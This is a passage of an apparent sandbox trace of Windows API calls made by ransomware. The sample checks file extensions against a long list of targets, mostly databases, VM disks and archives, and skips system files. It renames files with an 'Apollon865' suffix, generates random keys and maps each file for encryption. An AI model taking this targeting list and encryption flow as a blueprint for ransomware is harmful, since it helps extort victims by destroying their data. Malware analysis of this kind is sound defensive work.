	[0059.076] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0059.076] lstrlenW (lpString="trm") returned 3
	[0059.076] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1
	[0059.076] lstrlenW (lpString="udb") returned 3
	[0059.076] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1
	[0059.076] lstrlenW (lpString="udl") returned 3
	[0059.076] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1
	[0059.076] lstrlenW (lpString="usr") returned 3
	[0059.076] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1
	[0059.076] lstrlenW (lpString="v12") returned 3
	[0059.076] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1
	[0059.076] lstrlenW (lpString="vis") returned 3
	[0059.076] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1
	[0059.076] lstrlenW (lpString="vpd") returned 3
	[0059.076] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1
	[0059.076] lstrlenW (lpString="vvv") returned 3
	[0059.076] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1
	[0059.077] lstrlenW (lpString="wdb") returned 3
	[0059.077] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1
	[0059.077] lstrlenW (lpString="wmdb") returned 4
	[0059.077] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1
	[0059.077] lstrlenW (lpString="wrk") returned 3
	[0059.077] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1
	[0059.077] lstrlenW (lpString="xdb") returned 3
	[0059.077] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1
	[0059.077] lstrlenW (lpString="xld") returned 3
	[0059.077] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1
	[0059.077] lstrlenW (lpString="xmlff") returned 5
	[0059.077] lstrcmpiW (lpString1="k.htm", lpString2="xmlff") returned -1
	[0059.077] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.Apollon865") returned 87
	[0059.077] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm.apollon865"), dwFlags=0x1) returned 1
	[0059.078] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\peacock.htm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0059.078] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=232) returned 1
	[0059.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0059.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0059.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.078] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0059.079] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0059.079] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.079] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x14c
	[0059.081] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000
	[0059.082] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0059.083] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0059.083] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.083] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0059.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0059.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.083] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0059.083] CloseHandle (hObject=0x14c) returned 1
	[0059.083] CloseHandle (hObject=0x150) returned 1
	[0059.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0059.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.083] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0059.084] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x649d3c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x649d3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa51b2c9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x13fb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Peacock.jpg", cAlternateFileName="")) returned 1
	[0059.084] lstrcmpiW (lpString1="Peacock.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.084] lstrcmpiW (lpString1="Peacock.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0059.084] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".") returned 1
	[0059.084] lstrcmpiW (lpString1="Peacock.jpg", lpString2="..") returned 1
	[0059.084] lstrcmpiW (lpString1="Peacock.jpg", lpString2="windows") returned -1
	[0059.084] lstrcmpiW (lpString1="Peacock.jpg", lpString2="bootmgr") returned 1
	[0059.084] lstrcmpiW (lpString1="Peacock.jpg", lpString2="temp") returned -1
	[0059.084] lstrcmpiW (lpString1="Peacock.jpg", lpString2="pagefile.sys") returned 1
	[0059.084] lstrcmpiW (lpString1="Peacock.jpg", lpString2="boot") returned 1
	[0059.084] lstrcmpiW (lpString1="Peacock.jpg", lpString2="ids.txt") returned 1
	[0059.084] lstrcmpiW (lpString1="Peacock.jpg", lpString2="ntuser.dat") returned 1
	[0059.084] lstrcmpiW (lpString1="Peacock.jpg", lpString2="perflogs") returned -1
	[0059.084] lstrcmpiW (lpString1="Peacock.jpg", lpString2="MSBuild") returned 1
	[0059.084] lstrlenW (lpString="Peacock.jpg") returned 11
	[0059.084] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Peacock.htm") returned 76
	[0059.084] lstrcpyW (in: lpString1=0x119e68a, lpString2="Peacock.jpg" | out: lpString1="Peacock.jpg") returned="Peacock.jpg"
	[0059.084] lstrlenW (lpString="Peacock.jpg") returned 11
	[0059.084] lstrlenW (lpString="Apollon865") returned 10
	[0059.084] lstrcmpiW (lpString1="eacock.jpg", lpString2="Apollon865") returned 1
	[0059.084] lstrlenW (lpString=".dll") returned 4
	[0059.084] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".dll") returned 1
	[0059.084] lstrlenW (lpString=".lnk") returned 4
	[0059.084] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".lnk") returned 1
	[0059.084] lstrlenW (lpString=".ini") returned 4
	[0059.084] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".ini") returned 1
	[0059.084] lstrlenW (lpString=".sys") returned 4
	[0059.084] lstrcmpiW (lpString1="Peacock.jpg", lpString2=".sys") returned 1
	[0059.084] lstrlenW (lpString="Peacock.jpg") returned 11
	[0059.084] lstrlenW (lpString="bak") returned 3
	[0059.084] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0059.085] lstrlenW (lpString="ba_") returned 3
	[0059.085] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0059.085] lstrlenW (lpString="dbb") returned 3
	[0059.085] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0059.085] lstrlenW (lpString="vmdk") returned 4
	[0059.085] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0059.085] lstrlenW (lpString="rar") returned 3
	[0059.085] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0059.085] lstrlenW (lpString="zip") returned 3
	[0059.085] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0059.085] lstrlenW (lpString="tgz") returned 3
	[0059.085] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0059.085] lstrlenW (lpString="vbox") returned 4
	[0059.085] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0059.085] lstrlenW (lpString="vdi") returned 3
	[0059.085] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0059.085] lstrlenW (lpString="vhd") returned 3
	[0059.085] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0059.085] lstrlenW (lpString="vhdx") returned 4
	[0059.085] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0059.085] lstrlenW (lpString="avhd") returned 4
	[0059.085] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0059.085] lstrlenW (lpString="db") returned 2
	[0059.085] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0059.085] lstrlenW (lpString="db2") returned 3
	[0059.085] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0059.085] lstrlenW (lpString="db3") returned 3
	[0059.085] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0059.085] lstrlenW (lpString="dbf") returned 3
	[0059.085] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0059.085] lstrlenW (lpString="mdf") returned 3
	[0059.085] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0059.085] lstrlenW (lpString="mdb") returned 3
	[0059.085] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0059.085] lstrlenW (lpString="sql") returned 3
	[0059.086] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0059.086] lstrlenW (lpString="sqlite") returned 6
	[0059.086] lstrcmpiW (lpString1="ck.jpg", lpString2="sqlite") returned -1
	[0059.086] lstrlenW (lpString="sqlite3") returned 7
	[0059.086] lstrcmpiW (lpString1="ock.jpg", lpString2="sqlite3") returned -1
	[0059.086] lstrlenW (lpString="sqlitedb") returned 8
	[0059.086] lstrcmpiW (lpString1="cock.jpg", lpString2="sqlitedb") returned -1
	[0059.086] lstrlenW (lpString="xml") returned 3
	[0059.086] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0059.086] lstrlenW (lpString="$er") returned 3
	[0059.086] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0059.086] lstrlenW (lpString="4dd") returned 3
	[0059.086] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0059.086] lstrlenW (lpString="4dl") returned 3
	[0059.086] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0059.086] lstrlenW (lpString="^^^") returned 3
	[0059.086] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0059.086] lstrlenW (lpString="abs") returned 3
	[0059.086] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0059.086] lstrlenW (lpString="abx") returned 3
	[0059.086] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0059.086] lstrlenW (lpString="accdb") returned 5
	[0059.086] lstrcmpiW (lpString1="k.jpg", lpString2="accdb") returned 1
	[0059.086] lstrlenW (lpString="accdc") returned 5
	[0059.086] lstrcmpiW (lpString1="k.jpg", lpString2="accdc") returned 1
	[0059.086] lstrlenW (lpString="accde") returned 5
	[0059.086] lstrcmpiW (lpString1="k.jpg", lpString2="accde") returned 1
	[0059.086] lstrlenW (lpString="accdr") returned 5
	[0059.086] lstrcmpiW (lpString1="k.jpg", lpString2="accdr") returned 1
	[0059.086] lstrlenW (lpString="accdt") returned 5
	[0059.086] lstrcmpiW (lpString1="k.jpg", lpString2="accdt") returned 1
	[0059.086] lstrlenW (lpString="accdw") returned 5
	[0059.086] lstrcmpiW (lpString1="k.jpg", lpString2="accdw") returned 1
	[0059.086] lstrlenW (lpString="accft") returned 5
	[0059.086] lstrcmpiW (lpString1="k.jpg", lpString2="accft") returned 1
	[0059.087] lstrlenW (lpString="adb") returned 3
	[0059.087] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0059.087] lstrlenW (lpString="adb") returned 3
	[0059.087] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0059.087] lstrlenW (lpString="ade") returned 3
	[0059.087] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0059.087] lstrlenW (lpString="adf") returned 3
	[0059.087] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0059.087] lstrlenW (lpString="adn") returned 3
	[0059.087] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0059.087] lstrlenW (lpString="adp") returned 3
	[0059.087] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0059.087] lstrlenW (lpString="alf") returned 3
	[0059.087] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0059.087] lstrlenW (lpString="ask") returned 3
	[0059.087] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0059.087] lstrlenW (lpString="btr") returned 3
	[0059.087] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0059.087] lstrlenW (lpString="cat") returned 3
	[0059.087] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0059.087] lstrlenW (lpString="cdb") returned 3
	[0059.087] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0059.087] lstrlenW (lpString="ckp") returned 3
	[0059.087] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0059.087] lstrlenW (lpString="cma") returned 3
	[0059.087] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0059.087] lstrlenW (lpString="cpd") returned 3
	[0059.087] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0059.087] lstrlenW (lpString="dacpac") returned 6
	[0059.087] lstrcmpiW (lpString1="ck.jpg", lpString2="dacpac") returned -1
	[0059.087] lstrlenW (lpString="dad") returned 3
	[0059.087] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0059.087] lstrlenW (lpString="dadiagrams") returned 10
	[0059.087] lstrcmpiW (lpString1="eacock.jpg", lpString2="dadiagrams") returned 1
	[0059.087] lstrlenW (lpString="daschema") returned 8
	[0059.088] lstrcmpiW (lpString1="cock.jpg", lpString2="daschema") returned -1
	[0059.088] lstrlenW (lpString="db-journal") returned 10
	[0059.088] lstrcmpiW (lpString1="eacock.jpg", lpString2="db-journal") returned 1
	[0059.088] lstrlenW (lpString="db-shm") returned 6
	[0059.088] lstrcmpiW (lpString1="ck.jpg", lpString2="db-shm") returned -1
	[0059.088] lstrlenW (lpString="db-wal") returned 6
	[0059.088] lstrcmpiW (lpString1="ck.jpg", lpString2="db-wal") returned -1
	[0059.088] lstrlenW (lpString="dbc") returned 3
	[0059.088] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1
	[0059.088] lstrlenW (lpString="dbs") returned 3
	[0059.088] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1
	[0059.088] lstrlenW (lpString="dbt") returned 3
	[0059.088] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1
	[0059.088] lstrlenW (lpString="dbv") returned 3
	[0059.088] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1
	[0059.088] lstrlenW (lpString="dbx") returned 3
	[0059.088] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1
	[0059.088] lstrlenW (lpString="dcb") returned 3
	[0059.088] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1
	[0059.088] lstrlenW (lpString="dct") returned 3
	[0059.088] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1
	[0059.088] lstrlenW (lpString="dcx") returned 3
	[0059.088] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1
	[0059.088] lstrlenW (lpString="ddl") returned 3
	[0059.088] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1
	[0059.088] lstrlenW (lpString="dlis") returned 4
	[0059.088] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1
	[0059.088] lstrlenW (lpString="dp1") returned 3
	[0059.088] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1
	[0059.088] lstrlenW (lpString="dqy") returned 3
	[0059.088] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1
	[0059.088] lstrlenW (lpString="dsk") returned 3
	[0059.088] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1
	[0059.088] lstrlenW (lpString="dsn") returned 3
	[0059.088] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1
	[0059.088] lstrlenW (lpString="dtsx") returned 4
	[0059.089] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1
	[0059.089] lstrlenW (lpString="dxl") returned 3
	[0059.089] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1
	[0059.089] lstrlenW (lpString="eco") returned 3
	[0059.089] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1
	[0059.089] lstrlenW (lpString="ecx") returned 3
	[0059.089] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1
	[0059.089] lstrlenW (lpString="edb") returned 3
	[0059.089] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1
	[0059.089] lstrlenW (lpString="epim") returned 4
	[0059.089] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1
	[0059.089] lstrlenW (lpString="fcd") returned 3
	[0059.089] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1
	[0059.089] lstrlenW (lpString="fdb") returned 3
	[0059.089] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1
	[0059.089] lstrlenW (lpString="fic") returned 3
	[0059.089] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1
	[0059.089] lstrlenW (lpString="flexolibrary") returned 12
	[0059.089] lstrlenW (lpString="fm5") returned 3
	[0059.089] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1
	[0059.089] lstrlenW (lpString="fmp") returned 3
	[0059.089] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1
	[0059.089] lstrlenW (lpString="fmp12") returned 5
	[0059.089] lstrcmpiW (lpString1="k.jpg", lpString2="fmp12") returned 1
	[0059.089] lstrlenW (lpString="fmpsl") returned 5
	[0059.089] lstrcmpiW (lpString1="k.jpg", lpString2="fmpsl") returned 1
	[0059.089] lstrlenW (lpString="fol") returned 3
	[0059.089] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1
	[0059.089] lstrlenW (lpString="fp3") returned 3
	[0059.089] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1
	[0059.089] lstrlenW (lpString="fp4") returned 3
	[0059.089] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1
	[0059.089] lstrlenW (lpString="fp5") returned 3
	[0059.089] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1
	[0059.090] lstrlenW (lpString="fp7") returned 3
	[0059.090] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1
	[0059.090] lstrlenW (lpString="fpt") returned 3
	[0059.090] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1
	[0059.090] lstrlenW (lpString="frm") returned 3
	[0059.090] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1
	[0059.090] lstrlenW (lpString="gdb") returned 3
	[0059.090] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0059.090] lstrlenW (lpString="gdb") returned 3
	[0059.090] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1
	[0059.090] lstrlenW (lpString="grdb") returned 4
	[0059.090] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1
	[0059.090] lstrlenW (lpString="gwi") returned 3
	[0059.090] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1
	[0059.090] lstrlenW (lpString="hdb") returned 3
	[0059.090] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1
	[0059.090] lstrlenW (lpString="his") returned 3
	[0059.090] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1
	[0059.090] lstrlenW (lpString="ib") returned 2
	[0059.090] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1
	[0059.090] lstrlenW (lpString="idb") returned 3
	[0059.090] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1
	[0059.090] lstrlenW (lpString="ihx") returned 3
	[0059.090] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1
	[0059.090] lstrlenW (lpString="itdb") returned 4
	[0059.090] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1
	[0059.090] lstrlenW (lpString="itw") returned 3
	[0059.090] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1
	[0059.090] lstrlenW (lpString="jet") returned 3
	[0059.090] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1
	[0059.090] lstrlenW (lpString="jtx") returned 3
	[0059.090] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1
	[0059.090] lstrlenW (lpString="kdb") returned 3
	[0059.090] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1
	[0059.091] lstrlenW (lpString="kexi") returned 4
	[0059.091] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1
	[0059.091] lstrlenW (lpString="kexic") returned 5
	[0059.091] lstrcmpiW (lpString1="k.jpg", lpString2="kexic") returned -1
	[0059.091] lstrlenW (lpString="kexis") returned 5
	[0059.091] lstrcmpiW (lpString1="k.jpg", lpString2="kexis") returned -1
	[0059.091] lstrlenW (lpString="lgc") returned 3
	[0059.091] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1
	[0059.091] lstrlenW (lpString="lwx") returned 3
	[0059.091] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1
	[0059.091] lstrlenW (lpString="maf") returned 3
	[0059.091] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1
	[0059.091] lstrlenW (lpString="maq") returned 3
	[0059.091] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1
	[0059.091] lstrlenW (lpString="mar") returned 3
	[0059.091] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1
	[0059.091] lstrlenW (lpString="marshal") returned 7
	[0059.091] lstrcmpiW (lpString1="ock.jpg", lpString2="marshal") returned 1
	[0059.091] lstrlenW (lpString="mas") returned 3
	[0059.091] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1
	[0059.091] lstrlenW (lpString="mav") returned 3
	[0059.091] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1
	[0059.091] lstrlenW (lpString="maw") returned 3
	[0059.091] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1
	[0059.091] lstrlenW (lpString="mdbhtml") returned 7
	[0059.091] lstrcmpiW (lpString1="ock.jpg", lpString2="mdbhtml") returned 1
	[0059.091] lstrlenW (lpString="mdn") returned 3
	[0059.091] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1
	[0059.091] lstrlenW (lpString="mdt") returned 3
	[0059.091] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1
	[0059.091] lstrlenW (lpString="mfd") returned 3
	[0059.091] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1
	[0059.091] lstrlenW (lpString="mpd") returned 3
	[0059.091] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1
	[0059.091] lstrlenW (lpString="mrg") returned 3
	[0059.092] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1
	[0059.092] lstrlenW (lpString="mud") returned 3
	[0059.092] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1
	[0059.092] lstrlenW (lpString="mwb") returned 3
	[0059.092] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1
	[0059.092] lstrlenW (lpString="myd") returned 3
	[0059.092] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1
	[0059.092] lstrlenW (lpString="ndf") returned 3
	[0059.092] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1
	[0059.092] lstrlenW (lpString="nnt") returned 3
	[0059.092] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1
	[0059.092] lstrlenW (lpString="nrmlib") returned 6
	[0059.092] lstrcmpiW (lpString1="ck.jpg", lpString2="nrmlib") returned -1
	[0059.092] lstrlenW (lpString="ns2") returned 3
	[0059.092] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1
	[0059.092] lstrlenW (lpString="ns3") returned 3
	[0059.092] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1
	[0059.092] lstrlenW (lpString="ns4") returned 3
	[0059.092] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1
	[0059.092] lstrlenW (lpString="nsf") returned 3
	[0059.092] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1
	[0059.092] lstrlenW (lpString="nv") returned 2
	[0059.092] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1
	[0059.092] lstrlenW (lpString="nv2") returned 3
	[0059.092] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1
	[0059.092] lstrlenW (lpString="nwdb") returned 4
	[0059.092] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1
	[0059.092] lstrlenW (lpString="nyf") returned 3
	[0059.092] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1
	[0059.092] lstrlenW (lpString="odb") returned 3
	[0059.092] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0059.092] lstrlenW (lpString="odb") returned 3
	[0059.092] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1
	[0059.092] lstrlenW (lpString="oqy") returned 3
	[0059.092] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1
	[0059.093] lstrlenW (lpString="ora") returned 3
	[0059.093] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1
	[0059.093] lstrlenW (lpString="orx") returned 3
	[0059.093] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1
	[0059.093] lstrlenW (lpString="owc") returned 3
	[0059.093] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1
	[0059.093] lstrlenW (lpString="p96") returned 3
	[0059.093] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1
	[0059.093] lstrlenW (lpString="p97") returned 3
	[0059.093] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1
	[0059.093] lstrlenW (lpString="pan") returned 3
	[0059.093] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1
	[0059.093] lstrlenW (lpString="pdb") returned 3
	[0059.093] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1
	[0059.093] lstrlenW (lpString="pdm") returned 3
	[0059.093] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1
	[0059.093] lstrlenW (lpString="pnz") returned 3
	[0059.093] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1
	[0059.093] lstrlenW (lpString="qry") returned 3
	[0059.093] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1
	[0059.093] lstrlenW (lpString="qvd") returned 3
	[0059.093] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1
	[0059.093] lstrlenW (lpString="rbf") returned 3
	[0059.093] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1
	[0059.093] lstrlenW (lpString="rctd") returned 4
	[0059.093] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1
	[0059.093] lstrlenW (lpString="rod") returned 3
